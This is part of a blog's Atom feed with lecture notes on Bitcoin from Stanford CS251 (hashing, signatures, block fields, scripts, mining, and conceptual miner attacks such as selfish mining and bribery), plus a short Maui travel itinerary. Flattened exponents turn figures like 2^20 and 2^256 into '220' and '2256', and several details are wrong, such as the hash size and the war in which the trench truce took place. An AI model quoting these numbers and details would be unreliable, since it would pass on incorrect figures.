Bhatia</name></author><published>2019-04-01T07:10:41+00:00</published><updated>2019-04-01T07:10:41+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Bitcoin miner strategies and game theory insights in blockchain security. Learn about attacks like selfish mining and bribery, and how they impact cryptocurrency value.</blockquote><h3 id="lecture-6-bitcoin-miner-interactions-and-game-theory">Lecture 6: Bitcoin Miner interactions and Game Theory</h3>
<p>Game Theory: P x S -&gt; R x P
P: Players
S: Strategies
R: Rewards</p>
<p>Examples</p>
<ol>
<li>For the prisoner&rsquo;s dilemma, tit-for-tat with some positive randomization is the best strategy.</li>
<li>Trench soldiers in World War 2 decided to start aiming artillery at random &ldquo;safe&rdquo; locations instead of killing the enemy. This all happened without any communication.</li>
</ol>
<p>Mechanism design: Design the rules of the game with the outcome you want.</p>
<p>If we thinking of Bitcoin mining as a game then miners are players and the different strategies they have to decide which transactions to choose (default: everything), which to relay (default: everything), which to extend(default: most accumulated work), etc.</p>
<h4 id="attacks">Attacks</h4>
<ol>
<li>Temporary block withholding - selfish mining</li>
<li>Fee sniping attack</li>
<li>Goldfinger attack</li>
<li>Bribery attack</li>
<li>Feather forking</li>
</ol>
<h4 id="selfish-mining">Selfish mining</h4>
<p>Miner generates a block but does not publish it. It keeps mining on top of that block. If someone else mines a block in the meanwhile then you don&rsquo;t broadcast theirs but broadcast yours. It can be proven that if a miner has &gt;= 33% mining power than withholding is a better strategy.</p>
<h4 id="fee-sniping">Fee Sniping</h4>
<p>If an already mined block has a really high transaction fee then a miner might decide to re-mine that block to claim the transaction gee. Note that, Coinbase transactions mature after 100 blocks and cannot be spent till then.</p>
<h4 id="goldfinger-attack">Goldfinger attack</h4>
<p>A 51% attack or something similar which destroys the value of Bitcoin completely. The attacker&rsquo;s interest is that Bitcoin should go down in value</p>
<h4 id="bribery-attack">Bribery attack</h4>
<p>A-&gt;B transaction has been added to the block and A might have received some physical goods as well in return. A bribes miners to mine on A-&gt;A&rsquo; transaction making A-&gt;B moot. There are multiple ways to bribe, apart from physical cash delivery, A can create a negative fee mining pool or pay-to-anybody transactions build on A-&gt;A&rsquo; to incentivize miners to mine on it.</p>
<h4 id="feather-forking">Feather Forking</h4>
<p>To censor a certain transaction. The attacker announces a credible threat that they will fork if a certain transaction makes into the blockchain. Miners will avoid including that certain transaction and the attacker pay no cost for this. For example, if the attacker has 20% mining power and is going to try up to 2 blocks to re-mine then the likelihood of success is 4%  but a miner does not want to take 4% chance of losing the mining fee.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 5</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-5/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-5/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:10:15+00:00</published><updated>2019-04-01T07:10:15+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the process and evolution of Bitcoin mining, from CPU to ASIC, and learn why mining pools matter. Uncover insights into network operation and profitability.</blockquote><h3 id="lecture-5-bitcoin-mining">Lecture 5: Bitcoin mining</h3>
<p>How to mine Bitcoin</p>
<ol>
<li>Download and run   
    
    
<a href="https://bitcoin.org/en/bitcoin-core/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bitcoin-core</a> to run full Bitcoin node</li>
<li>Listen for a new transaction, assemble a pre-block</li>
<li>Solve the puzzle (~270 attempts)</li>
<li>Broadcast the block</li>
<li>Profit</li>
</ol>
<p>The network runs on port 8333. Non-responding nodes are forgotten after 3 hours (5000-10000 nodes as of Sep 2016). Some seed nodes are hard-coded into the software. Zero transaction fee transactions were accepted until April 2012 before   
    
    
<a href="https://satoshidice.com/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Satoshi Dice</a> came around. Blocks are just an artifact of the mining process. Otherwise, it is just a stream of transactions. Changing the network layer is easy. Changing the protocol layer to add new opcodes is hard.</p>
<h4 id="types-of-mining">Types of mining</h4>
<ol>
<li>CPU mining - 220 - 224 hash/sec =&gt; 246 seconds (4 million years) to mine a block</li>
<li>GPU mining(2010-2011) - 227 hash/sec with a single card</li>
<li>FPGA mining(2011-2012) - 230 hash/sec. FPGAs are not designed for continuous use though.</li>
<li>ASIC mining (late 2012-present) - 240 hash/sec for 100 USD (100 watt) for 16 nm feature size. 50% overclocking leads to 25% error =&gt; 12.5% more revenue!!!</li>
</ol>
<p>70% of mining is in China due to the lower price.
Even with ASIC miner like   
    
    
<a href="https://amzn.to/4hZeScN?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Ant miner S9</a> which has 12 TH/sec (243 hash/sec), one has 66% chance of 0 blocks, 27% chance of 1 block, and 7% chance of 2 blocks in a year. Mining pool reduces this variance. The miners will show smaller work (240) regularly to prove that they are working.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 4</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-4/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-4/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:09:28+00:00</published><updated>2019-04-01T07:09:28+00:00</updated><content type="html"><![CDATA[<blockquote>Explore blockchain&rsquo;s 80-byte block structure, miner checks, and transaction details. Learn how Segregated Witness fixed transaction hash issues, plus P2PKH &amp; P2SH types.</blockquote><h3 id="lecture-4-blockchains">Lecture 4: Blockchains</h3>
<p>80 bytes block consists of 32 bytes previous block hash, 32 bytes transactions Merkle tree hash, timestamp, bits, nonce, etc. Each block is &lt;= 1MB to minimize the propagation times. Therefore, large transactions require more service fee to compensate miners to include the transaction in the block.</p>
<h4 id="miners-transaction-checks">Miner&rsquo;s transaction checks</h4>
<ol>
<li>ScriptSig (from spending transaction) || ScriptPubKey (from funding transaction) executes and this should produce non-empty stack. Empty stack or zero is false.</li>
<li>Transaction inputs are in the UTXO set.</li>
<li>Sum of all outputs &lt;= Sum of all inputs</li>
</ol>
<p>As of Oct 2016, 43M UTXO, 475K unique addresses, and 15.9M BTC in circulation.</p>
<p>Transaction signature is over the whole transaction (except the signature itself) =&gt; miners cannot modify any portion of the transaction. P2PKH (Pay to public key hash) does not reveal the public key (but only its hash), this provides added security in terms of someone brute-forcing the public key. The signature scheme ECDSA does not have strong unforgeability which means that miner can change ECDSA pair (r, s) to (r, s&rsquo;). This changes the transaction hash. Therefore, transaction hashes cannot be relied upon. Not knowing this fact lead to Mt. Gox collapse.  Segregated Witness, eventually, fixed this by moving signatures out of the transaction hash.</p>
<p>There are two types of transactions</p>
<ol>
<li>Pay to Public Key hash (P2PKH)</li>
<li>Pay to script hash (P2SH)
Funding transaction scriptPk: <code>HASH160 H()  EQUAL</code>  # Only hash of the script is exposed at the funding time
Spending transaction scriptSig: <code>&lt;sig1&gt; &lt;sig2&gt; ....&lt;sigN&gt; &lt;redeemScript&gt;</code>
Miner verifies that
<ol>
<li>ScriptSig | ScriptPk -&gt; true =&gt; script is correct</li>
<li>ScriptSig -&gt; true =&gt; script is satisfied
This is different from what miner does for P2SH</li>
</ol>
</li>
</ol>
<p>Another example of P2SH is multi-sig: m out of n signatures required.
Redeem script: <code>&lt;2&gt; &lt;pk1&gt; &lt;pk2&gt; &lt;pk3&gt; &lt;3&gt; CHECKMULTISIG</code>
Bitcoin implement is buggy so it eats the first element of the ScriptSig, therefore, add a dummy first element &lt;0&gt;
ScriptSig: <code>&lt;0&gt; &lt;sig1&gt; &lt;sig3&gt; &lt;redeemScript&gt;</code>
Applications of multi-sig =&gt;</p>
<ol>
<li>Co-signatory - 2 out of 2 signatures required</li>
<li>Escrow - buyer will fund a 2-out-3 signatures transaction which two of the buyer, seller, and judge&rsquo;s signatures.</li>
<li>Micropayments - which accumulate and send together to save on the transaction fee.</li>
</ol>
<h4 id="bitcoin-address">Bitcoin Address</h4>
<p>Base 58 - a-z, A-Z, 0-9 excluding {0,o, i, l} =&gt; 34 char addresses</p>
<p>Addresses for P2PKH starts with 1.
Addresses for P2SH starts with 3.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 3</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-3/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-3/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:07:38+00:00</published><updated>2019-04-01T07:07:38+00:00</updated><content type="html"><![CDATA[<blockquote>Unlock Bitcoin&rsquo;s intricate world with insights into its core protocols, consensus mechanisms, and transaction handling. A must-read for crypto enthusiasts!</blockquote><h3 id="lecture-3-bitcoin-overview">Lecture 3: Bitcoin overview</h3>
<p>There are three Bitcoin protocols</p>
<ol>
<li>Consensus Protocol - decides what the ledger is</li>
<li>Transaction Protocol - assigns meaning to the ledger</li>
<li>Network Protocol - the P2P protocol which decides what new should be added to the ledger</li>
</ol>
<h4 id="consensus-protocol">Consensus Protocol</h4>
<h5 id="bitcoin-fields">Bitcoin fields</h5>
<ol>
<li>(Virtual field) Hash - 4 bytes. SHA256-squared. This is not part of the block but is calculated on the fly.</li>
<li>Version - 4 bytes.   
    
    
<a href="https://bitcoin.stackexchange.com/questions/39216/what-are-version-bits?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Set to 3</a>, might never change.</li>
<li>Previous block - 32 bytes. Hash of the previous block on which we build this block.</li>
<li>mrkl_root (Merkle root) - 32 bytes</li>
<li>Time - 4 bytes.   
    
    
<a href="https://en.bitcoin.it/wiki/Block_timestamp?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Timestamp</a> of mining the block.</li>
<li>Bits - 4 bits. This is the difficulty level.</li>
<li>Lock time - 4 bytes. The transaction cannot be posted on the blockchain till the   
    
    
<a href="https://www.cryptocompare.com/coins/guides/what-is-bitcoin-transaction-locktime/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lock time</a> constraint is met.</li>
<li>Nonce - 4 bytes.  Random nonce tweaked to find a block with the right difficulty.</li>
<li>n_tx &amp; txn_data in the Merkle root are stored separately.</li>
</ol>
<p>The nonce is only 32 bits, Changing that might not be sufficient to get the desired number of difficulty(70+ zeros). Therefore, changes can be made to the Coinbase transaction (explained below) to generate more randomness.</p>
<h5 id="block-validity-checks">Block Validity Checks</h5>
<ol>
<li>Puzzle solution - fastest check</li>
<li>Correct difficulty</li>
<li>Previous block</li>
<li>The timestamp is plausible - (timestamp &gt;2 hours local time or timestamp &lt; median of last 11 blocks) then reject. A miner might want to collude and manipulate timestamps to keep the difficulty low - never happened but it is still a possibility.</li>
<li>Valid transaction data, including the coinbase transaction - transaction check is the slowest since that involves checking multiple signatures.</li>
</ol>
<h5 id="blockchain-validity-checks">Blockchain Validity checks</h5>
<ol>
<li>The valid chain is the one that has the most difficulty in it. This is not the longest but is commonly referenced as the longest. The reason to prefer most work over longest is that anyone who is working in private can produce the longest chain with low difficulty.</li>
<li>Rooted in the   
    
    
<a href="https://www.blockchain.com/btc/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">genesis block</a> - This is hardcoded in the Bitcoin mining software</li>
</ol>
<p>A coinbase transaction is the first transaction of the block where the miner assigns new money to them based on the creation rate rules. It can contain an arbitrary string that can be changed to generate the hash of the desired difficulty. The order of transactions in the transaction Merkle tree also impacts the hash.</p>
<h5 id="difficulty-calculation">Difficulty calculation</h5>
<p>Reset every 2016 blocks (= 2 weeks/10 minutes).</p>
<p><code>Dnew = Dold * (tLast - tFirst)/(14 * 24 * 60)</code></p>
<p>This has an off-on-one error; it should have been 20150 and not 20160. Difficulty goes up quickly.
This cannot be changed, and it&rsquo;s part of the Bitcoin ecosystem.</p>
<h5 id="transactions-merkle-tree">Transactions Merkle Tree</h5>
<p>A binary tree with all the transactions in leaves. All parents are hashes of the children concatenated. This is stored outside the Bitcoin block hashes.</p>
<h5 id="transactions">Transactions</h5>
<p>Bitcoin has no notion of accounts and balances. Ethereum has. Bitcoin ledger consists of UTXO (unspent transaction outputs), which are outputs of a transaction. As soon as a UTXO is used as input for another transaction, it cannot be used again. Previous transaction output is referenced via its hash and an index into its outputs. Therefore, each transaction uses all the UTXO inputs. This UTXO set is   
    
    
<a href="https://www.blockchain.com/en/charts/utxo-count?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">growing</a> pretty rapidly as well. Small-value UTXOs are nick-named dust.</p>
<p>Bitcoin is not limited to sending money to a public key address. All the money is spent via Bitcoin scripts. You send money to a function f(), and anyone who can produce an x such that f(x) is true can redeem it. The Bitcoin script is a stack-based language with no loops or backward jumps =&gt; code always finishes and is not Turing complete. It has no big number support or floating points either. What most transactions look like in theory is f(sig, key) { if key == k and verify(sig, key, transaction) { return true } }. This is expressed in a complicated Bitcoin script. This can be used for writing smart contracts. What happens in practice is more complicated. The UTXO (output transaction) has the redemption script &ldquo;scriptPubKey&rdquo; and the spending transaction (input transaction which is using the UTXO) specifies the signature &ldquo;scriptSig&rdquo;. Bitcoin VM runs &ldquo;scriptSig || scriptPubKey&rdquo; and waits for true as an output. Anything except true (including a crash) is a failure outcome. Try out the language   
    
    
<a href="https://siminchen.github.io/bitcoinIDE/build/editor.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.</p>
<p>Some examples:</p>
<ol>
<li>OP_TRUE - Anybody can spend the script.</li>
<li><code>&lt;sig&gt; &lt;pubKey&gt;</code> - scriptSig and <code>OP_DUP OP_HASH160 &lt;pubkeyhash?&gt; OP_EQUALVERIFY OP_CHECKSIG</code> - scriptPubKey is the standard spending transaction.<code>&lt;/pubkeyhash?&gt;</code></li>
<li><code>OP_RETURN</code> - Nobody can spend. Proof of burn to get something else in return. <code>OP_RETURN</code> can be followed by 40 bytes of the data on the chain permanently.</li>
<li>Multi-sig - k of n signers (joint control) or escrow.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 2</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-2/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-2/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:06:55+00:00</published><updated>2019-04-01T07:06:55+00:00</updated><content type="html"><![CDATA[<blockquote>Discover the evolution of digital currency creation, from signing keys to Bitcoin&rsquo;s Nakamoto consensus, ensuring global consensus and security.</blockquote><h3 id="lecture-2-creating-a-digital-currency">Lecture 2: Creating a digital currency</h3>
<p>Desirable properties of a good digital ledger</p>
<ol>
<li>No deletion</li>
<li>Temporal ordering</li>
<li>Global consensus</li>
<li>Semantic correctness</li>
<li>Live - writable, no DOS, no censorship</li>
</ol>
<p>Attempts to create a digital currency in the increasing order of sophistication.</p>
<ol>
<li>A signing key based approach can confirm the authenticity of the transaction but cannot prevent double-spend.</li>
<li>Append-only ledger with signing keys ensures a temporal ordering and global consensus, thus, prevents double-spending. Sign &ldquo;new transaction + hash of the previous transaction&rdquo;.  But if there is a single trusted signing authority, it can still give different signing blocks to the different parties and engage in double-spend. Or it can append invalid transactions to the ledger.</li>
<li>To reduce the risk, we can have n signers and require k &lt;= n signers required for a transaction to be a valid part of the ledger.</li>
<li>Further safety can be ensured by rotating the trusted signers. The signers will build on (one of the) longest valid chain. The signer will reject any chain with a bad block in it. If the majority of the signers is honest, this works. Otherwise, it does not. A malicious actor can perform a Sybil attack on the system by generating tons of signers who are participating in the system and hence, a majority of signers might end up representing a single entity.</li>
<li>Bitcoin (Nakamoto consensus) treats everyone as a trusted signer. The signer in round n is the first signer to solve a proof-of-work (PoW) puzzle. There are no signing keys anymore. The random nonce of the block which leads to H(block) &lt;2256 - d suffices as the valid proof of signing. Two signers can end up signing simultaneously, but eventually, one of the chains will become longest and wins. Each block ~ 1MB and each transaction ~512 bytes. After your transaction ends up in a block, wait for up to 6 blocks to ensure that a different chain won&rsquo;t become the longest one. Majority of the mining power should be honest though,   
    
    
<a href="https://www.crypto51.app/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">51%  attack</a> is possible on Bitcoin.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Stanford CS251: Lecture 1</title><link href="https://ashishb.net/programming/stanford-cs251-lecture-1/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/stanford-cs251-cryptocurrencies-blockchains-and-smart-contracts/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Cryptocurrencies, blockchains, and smart contracts"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-19/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 19"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-18/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 18"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-16/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 16"/><link href="https://ashishb.net/programming/stanford-cs251-lecture-15/?utm_source=atom_feed" rel="related" type="text/html" title="Stanford CS251: Lecture 15"/><id>https://ashishb.net/programming/stanford-cs251-lecture-1/</id><author><name>Ashish Bhatia</name></author><published>2019-04-01T07:05:38+00:00</published><updated>2019-04-01T07:05:38+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Bitcoin&rsquo;s fascinating use of collision-resistant hash functions, proof-of-work, and digital signatures. Learn how these elements create a secure cryptocurrency.</blockquote><h3 id="lecture-1-introduction">Lecture 1: Introduction</h3>
<p>Bitcoin is a cryptocurrency with distributed trust. The blockchain is a public append-only ledger. The append-only property is sufficient for having a currency.</p>
<p>Hash functions: H: M -&gt; T where |M| &raquo; |T| that is space of messages is larger than space of the hash. If H(m0) =H(m1) =&gt; collision. Hash function H is collision-resistant if it is hard to find the collision of H. For example, SHA-256 maps long strings to 256-bit hashes.</p>
<p>Bitcoin&rsquo;s Hash function: H(m) = SHA256(SHA256(m)). Two rounds of SHA-256 are used since a single round is susceptible to   
    
    
<a href="https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Length Extension Attack</a>.</p>
<h4 id="application-of-hash-functions">Application of hash functions</h4>
<ol>
<li>Binding commitments
For software package T, publish H(T) on a secure location while T is distributed via insecure third-parties. The user will download T and verify that H(T) matches the published hash. For multiple files T1, &hellip; Tn, one needs individual commitments/hashes. A more space-efficient way is to use Merkle trees which still keeps the commitment size to one hash.</li>
<li>Proof of Work
For every email, the sender will solve a unique &ldquo;puzzle&rdquo; which takes ~ 1 second of CPU time. Solving this puzzle will cut down spamming drastically. The puzzle is to get Hash(email contents, s) &lt; 2n/d. n is the bit-length of the hash function output. The value of d can be increased the difficulty of the puzzle. The sender would try different &ldquo;s&rdquo; until the solution is found.  It will take d * Time(H) to find the solution. A normal sender wouldn&rsquo;t mind the amount of effort, but this will be a lot of work for a spammer sending millions of emails. This didn&rsquo;t work because of sending email to mailing lists breaks down.</li>
</ol>
<p>A hash function is <strong>Proof-of-work secure</strong> if the probability of finding a solution is proportional to time invested in it, or in other words, there is no way to do it better than the brute-force. It is strongly believed that SHA256-squared, the Bitcoin hash function, is POW-secure for difficulty d &lt; 2128.</p>
<h4 id="digital-signatures">Digital Signatures</h4>
<p>Three efficient algorithms</p>
<ol>
<li>Keygen - generates a Public Key (Pk) and Signing Key (Sk), latter remains secret.</li>
<li>Sign - σ signature = sign(Sk, m)</li>
<li>Verify - verify(Pk, m, σ) outputs &ldquo;yes&rdquo;/&ldquo;no&rdquo;</li>
</ol>
<p>Given (mi, σi), the adversary cannot produce a new (m*, σ*).</p>
<p>Famous schemes</p>
<ol>
<li>RSA</li>
<li>ECDSA - used by Bitcoin. Bitcoin specifically uses ECDSA Secp256k1. Sk- 256-bit. Pk - 512-bits (257-bits compressed). 512-bit uncompressed notation consists of 256-bit X and 256-bit Y coordinate, but since there are only two Y-coordinates, one positive and one negative, for a single X-coordinate, one can store X-coordinate + 1-bit polarity of the Y-coordinate in the compressed notation of 257-bits. The message is 256-bits and signature is 512-bits. <strong>The signature size is unusually large</strong> and newer schemes do much better on the signature size, but bitcoin is stuck with this. Since message length is 256-bits, ECDSA is used for signing the hash of the message. The transaction, thus, becomes an <strong>Authenticated Data Structure</strong>.</li>
</ol>
<h5 id="append-only-trusted-ledger---an-application-of-digital-signatures">Append-only trusted ledger - an application of digital signatures</h5>
<ol>
<li>Anyone can read</li>
<li>Anyone can ask the bank to add data to the ledger</li>
<li>If the bank removes a transaction from the ledger, it will be caught</li>
</ol>
<p>Setup - Bank will sign Transaction T0, then (T0, T1) then  (T0, T1, T2) and will publish these after every signature. If the bank now removes a transaction from the ledger, then everyone will notice that there are two blocks  (T0, T1, T2) and  (T0, T1, T3) with none being the prefix of the other =&gt; Transaction set &ldquo;forked&rdquo;.</p>
<p>Bitcoin takes this a step further to an append-only distributed ledger.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/cs251" term="cs251" label="cs251"/></entry><entry><title type="html">Four days in Maui, Hawaii</title><link href="https://ashishb.net/travel/maui-hawaii/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/kauai-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Kauai, Hawaii"/><link href="https://ashishb.net/travel/big-island-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Big Island, Hawaii"/><link href="https://ashishb.net/travel/oahu-hawaii/?utm_source=atom_feed" rel="related" type="text/html" title="Five days in Oahu, Hawaii"/><link href="https://ashishb.net/travel/hiking-natural-bridges-national-monument/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Natural Bridges National Monument"/><link href="https://ashishb.net/travel/miami/?utm_source=atom_feed" rel="related" type="text/html" title="Things to do in Miami Florida"/><id>https://ashishb.net/travel/maui-hawaii/</id><author><name>Ashish Bhatia</name></author><published>2019-03-02T17:00:57+00:00</published><updated>2019-03-02T17:00:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover Maui&rsquo;s charm with a 4-day itinerary! Rent a moped or car, explore Road to Hana, Haleakala sunrise, beach hop, and trek Iao Valley. Adventure awaits!</blockquote><p>Maui is a small but beautiful island of Hawai&rsquo;i.
Here is a recommended 4-day itinerary for Maui.
This itinerary is a slightly modified version of what I was able to do.
The 
<a href="/travel/public-transport-guide/">public transport</a> on the island is poor.
For solo travel outside the rainy season, I would recommend renting a moped to go around.
Otherwise, rent a car.</p>
<p>The island has a much more developed western part consisting of Kaanapali and Lahaina, which have major 
<a href="/travel/hotels-vs-airbnb-vs-hostels/">resorts</a>.</p>
<h3 id="day-1">Day 1</h3>
<p>Start with   
    
    
<a href="https://roadtohana.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Road to Hanaa</a>, it&rsquo;s a day-long activity, and you do want to do this early on when it&rsquo;s not raining.</p>
<figure>
    
    <a href="25034_10151172216401394_1327483239_n-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="25034_10151172216401394_1327483239_n-1.jpg"
         alt="Road to Hana with a friend" width="900"/> </a>
</figure>

<p>Don&rsquo;t forget to eat Aunty Sandy&rsquo;s Banana bread on the way.</p>
<h3 id="day-2">Day 2</h3>
<p>Wake up early to get to Haleakala National Park to watch a beautiful sunrise.
You can hike down in Haleakala National Park afterward.
It has an exciting flora and fauna but not a great hike.</p>
<figure>
    
    <a href="190763_10151172210201394_1844508748_n.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="190763_10151172210201394_1844508748_n.jpg"
         alt="Haleakala National Park" width="900"/> </a>
</figure>

<figure>
    
    <a href="mypic_hawaii_1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="mypic_hawaii_1.jpg"
         alt="Haleakala National Park" width="900"/> </a>
</figure>

<p>In the evening, head to Kaanapali, the beaches are great and do jump off the Black Rock cliff into the Pacific ocean.</p>
<h3 id="day-3">Day 3</h3>
<p>Head south to Makena State Park,   
    
    
<a href="https://mauiguidebook.com/beaches/makena-big-beach-oneloa/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Big Beach</a> is another beautiful beach there.
Do note that it is very similar to Black Rock beach, so you can skip this entirely.
In the evening, head to Lahaina to check the   
    
    
<a href="https://en.wikipedia.org/wiki/Banyan_tree_in_Lahaina?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">largest Banyan tree</a> in the United States.</p>
<h3 id="day-4">Day 4</h3>
<p>Head to   
    
    
<a href="https://www.atotalwaste.com/travel/iaovalley.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Iao Valley State Park</a> for hiking. Spend the rest of the day checking Wailuku and local delicacies.</p>
<figure>
    
    <a href="IMG_0097-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="IMG_0097-1024x768.jpg"
         alt="Iao Valley State Park" width="900"/> </a>
</figure>

